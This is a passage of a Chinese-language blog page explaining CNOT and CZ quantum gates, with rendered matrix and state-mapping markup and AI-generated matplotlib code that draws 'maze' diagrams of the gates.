class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}00\rangle \rightarrow \vert{}00\rangle \\ \vert{}01\rangle \rightarrow \vert{}11\rangle \\ \vert{}10\rangle \rightarrow \vert{}10\rangle \\ \vert{}11\rangle \rightarrow \vert{}01\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span></span></span></span></td><td style="text-align:center"><img src="cnot_maze.png" width="300"></td></tr><tr><td style="text-align:center">CZ</td><td style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex">\begin{pmatrix} 1 &amp; 0 &amp; 0 &amp; 0 \\ 0 &amp; 1 &amp; 0 &amp; 0 \\ 0 &amp; 0 &amp; 1 &amp; 0 \\ 0 &amp; 0 &amp; 0 &amp; -1 \end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.8em;vertical-align:-2.15em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo>→</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}00\rangle \rightarrow \vert{}00\rangle \\ \vert{}01\rangle \rightarrow \vert{}01\rangle \\ \vert{}10\rangle \rightarrow \vert{}10\rangle \\ \vert{}11\rangle \rightarrow -\vert{}11\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">−</span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span></span></span></span></td><td style="text-align:center"><img src="cz_maze.png" width="300"></td></tr></tbody></table><blockquote><p>AI 好讚，幫我生出這些，難以想像手搓 LaTeX 和那個 Maze 要搞多久</p></blockquote><details><summary>生成 Maze 那幾張圖片的 code</summary><p>這也是 AI 生的w</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> matplotlib<span class="token punctuation">.</span>pyplot <span class="token keyword">as</span> plt<span class="token comment"># 定義顏色常數</span>COLOR_MAP <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">'blue'</span><span class="token punctuation">:</span> <span class="token string">'#3498db'</span><span class="token punctuation">,</span>    <span class="token comment"># 正實數 (+1)</span>    <span class="token string">'red'</span><span class="token punctuation">:</span> <span class="token string">'#e74c3c'</span><span class="token punctuation">,</span>     <span class="token comment"># 負實數 (-1)</span>    <span class="token string">'gold'</span><span class="token punctuation">:</span> <span class="token string">'#f1c40f'</span><span class="token punctuation">,</span>    <span class="token comment"># 正虛數 (+i)</span>    <span class="token string">'purple'</span><span class="token punctuation">:</span> <span class="token string">'#9b59b6'</span>   <span class="token comment"># 負虛數 (-i)</span><span class="token punctuation">&#125;</span><span class="token keyword">def</span> <span class="token function">draw_maze</span><span class="token punctuation">(</span>gate_name<span class="token punctuation">,</span> connections<span class="token punctuation">,</span> is_two_qubit<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">,</span> filename<span class="token operator">=</span><span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    fig<span class="token punctuation">,</span> ax <span class="token operator">=</span> plt<span class="token punctuation">.</span>subplots<span class="token punctuation">(</span>figsize<span class="token operator">=</span><span class="token punctuation">(</span><span class="token number">3.5</span><span class="token punctuation">,</span> <span class="token number">3.5</span> <span class="token keyword">if</span> is_two_qubit <span class="token keyword">else</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> is_two_qubit<span class="token punctuation">:</span>        <span class="token comment"># 在 IBM 標準下，由上到下排列：00, 01, 10, 11</span>        labels <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">]</span>        y_positions <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span>        y_lim <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.5</span><span class="token punctuation">,</span> <span class="token number">3.5</span><span class="token punctuation">)</span>    <span class="token keyword">else</span><span class="token punctuation">:</span>        labels <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">]</span>        y_positions <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span>        y_lim <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.4</span><span class="token punctuation">,</span> <span class="token number">1.4</span><span class="token punctuation">)</span>            <span class="token comment"># 畫輸入端節點</span>    ax<span class="token punctuation">.</span>scatter<span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">*</span> <span class="token builtin">len</span><span class="token punctuation">(</span>y_positions<span class="token punctuation">)</span><span class="token punctuation">,</span> y_positions<span class="token punctuation">,</span> color<span class="token operator">=</span><span class="token string">'black'</span><span class="token punctuation">,</span> s<span class="token operator">=</span><span class="token number">100</span><span class="token punctuation">,</span> zorder<span class="token operator">=</span><span class="token number">5</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> label<span class="token punctuation">,</span> y <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>labels<span class="token punctuation">,</span> y_positions<span class="token punctuation">)</span><span class="token punctuation">:</span>        ax<span class="token punctuation">.</span>text<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.15</span><span class="token punctuation">,</span> y<span class="token punctuation">,</span> label<span class="token punctuation">,</span> ha<span class="token operator">=</span><span class="token string">'right'</span><span class="token punctuation">,</span> va<span class="token operator">=</span><span class="token string">'center'</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">12</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">)</span>            <span class="token comment"># 畫輸出端節點</span>    ax<span class="token punctuation">.</span>scatter<span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">*</span> <span class="token builtin">len</span><span class="token punctuation">(</span>y_positions<span class="token punctuation">)</span><span class="token punctuation">,</span> y_positions<span class="token punctuation">,</span> color<span class="token operator">=</span><span class="token string">'black'</span><span class="token punctuation">,</span> s<span class="token operator">=</span><span class="token number">100</span><span class="token punctuation">,</span> zorder<span class="token operator">=</span><span class="token number">5</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> label<span class="token punctuation">,</span> y <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>labels<span class="token punctuation">,</span> y_positions<span class="token punctuation">)</span><span class="token punctuation">:</span>        ax<span class="token punctuation">.</span>text<span class="token punctuation">(</span><span class="token number">1.15</span><span class="token punctuation">,</span> y<span class="token punctuation">,</span> label<span class="token punctuation">,</span> ha<span class="token operator">=</span><span class="token string">'left'</span><span class="token punctuation">,</span> va<span class="token operator">=</span><span class="token string">'center'</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">12</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">)</span>            <span class="token comment"># 連線映射</span>    label_to_y <span class="token operator">=</span> <span class="token punctuation">&#123;</span>l<span class="token punctuation">:</span> y <span class="token keyword">for</span> l<span class="token punctuation">,</span> y <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>labels<span class="token punctuation">,</span> y_positions<span class="token punctuation">)</span><span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> start_lbl<span class="token punctuation">,</span> end_lbl<span class="token punctuation">,</span> color_key <span class="token keyword">in</span> connections<span class="token punctuation">:</span>        start_y <span class="token operator">=</span> label_to_y<span class="token punctuation">[</span>start_lbl<span class="token punctuation">]</span>        end_y <span class="token operator">=</span> label_to_y<span class="token punctuation">[</span>end_lbl<span class="token punctuation">]</span>        color <span class="token operator">=</span> COLOR_MAP<span class="token punctuation">[</span>color_key<span class="token punctuation">]</span>        ax<span class="token punctuation">.</span>annotate<span class="token punctuation">(</span><span class="token string">''</span><span class="token punctuation">,</span> xy<span class="token operator">=</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> end_y<span class="token punctuation">)</span><span class="token punctuation">,</span> xytext<span class="token operator">=</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> start_y<span class="token punctuation">)</span><span class="token punctuation">,</span>                    arrowprops<span class="token operator">=</span><span class="token builtin">dict</span><span class="token punctuation">(</span>arrowstyle<span class="token operator">=</span><span class="token string">"->"</span><span class="token punctuation">,</span> color<span class="token operator">=</span>color<span class="token punctuation">,</span> lw<span class="token operator">=</span><span class="token number">3</span><span class="token punctuation">,</span> shrinkA<span class="token operator">=</span><span class="token number">6</span><span class="token punctuation">,</span> shrinkB<span class="token operator">=</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            ax<span class="token punctuation">.</span>set_xlim<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.5</span><span class="token punctuation">,</span> <span class="token number">1.5</span><span class="token punctuation">)</span>    ax<span class="token punctuation">.</span>set_ylim<span class="token punctuation">(</span>y_lim<span class="token punctuation">)</span>    ax<span class="token punctuation">.</span>axis<span class="token punctuation">(</span><span class="token string">'off'</span><span class="token punctuation">)</span>    plt<span class="token punctuation">.</span>title<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"</span><span class="token interpolation"><span class="token punctuation">&#123;</span>gate_name<span class="token punctuation">&#125;</span></span><span class="token string"> Gate"</span></span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">15</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">,</span> pad<span class="token operator">=</span><span class="token number">10</span><span class="token punctuation">)</span>    plt<span class="token punctuation">.</span>savefig<span class="token punctuation">(</span>filename<span class="token punctuation">,</span> bbox_inches<span class="token operator">=</span><span class="token string">'tight'</span><span class="token punctuation">,</span> dpi<span class="token operator">=</span><span class="token number">300</span><span class="token punctuation">,</span> transparent<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>    plt<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment"># ==== 執行繪製 ====</span><span class="token comment"># 一維閘保持不變</span>draw_maze<span class="token punctuation">(</span><span class="token string">'X'</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token boolean">False</span><span class="token punctuation">,</span> <span class="token string">'x_maze.png'</span><span class="token punctuation">)</span>draw_maze<span class="token punctuation">(</span><span class="token string">'Y'</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'gold'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'purple'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token boolean">False</span><span class="token punctuation">,</span> <span class="token string">'y_maze.png'</span><span class="token punctuation">)</span>draw_maze<span class="token punctuation">(</span><span class="token string">'Z'</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token boolean">False</span><span class="token punctuation">,</span> <span class="token string">'z_maze.png'</span><span class="token punctuation">)</span>draw_maze<span class="token punctuation">(</span><span class="token string">'H'</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token boolean">False</span><span class="token punctuation">,</span> <span class="token string">'h_maze.png'</span><span class="token punctuation">)</span><span class="token comment"># 修正：CNOT 閘 (IBM標準，q0控制右位元。01->11, 11->01，其餘不變)</span>cnot_connections <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">]</span>draw_maze<span class="token punctuation">(</span><span class="token string">'CNOT'</span><span class="token punctuation">,</span> cnot_connections<span class="token punctuation">,</span> <span class="token boolean">True</span><span class="token punctuation">,</span> <span class="token string">'cnot_maze.png'</span><span class="token punctuation">)</span><span class="token comment"># CZ 閘 (由於CZ只作用於 |11>，所以不論哪一種矩陣序，節點連接與對射皆維持不變)</span>cz_connections <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span>draw_maze<span class="token punctuation">(</span><span class="token string">'CZ'</span><span class="token punctuation">,</span> cz_connections<span class="token punctuation">,</span> <span class="token boolean">True</span><span class="token punctuation">,</span> <span class="token string">'cz_maze.png'</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"IBM 標準迷宮圖片生成完畢！"</span><span class="token punctuation">)</span><span aria-hidden="true" 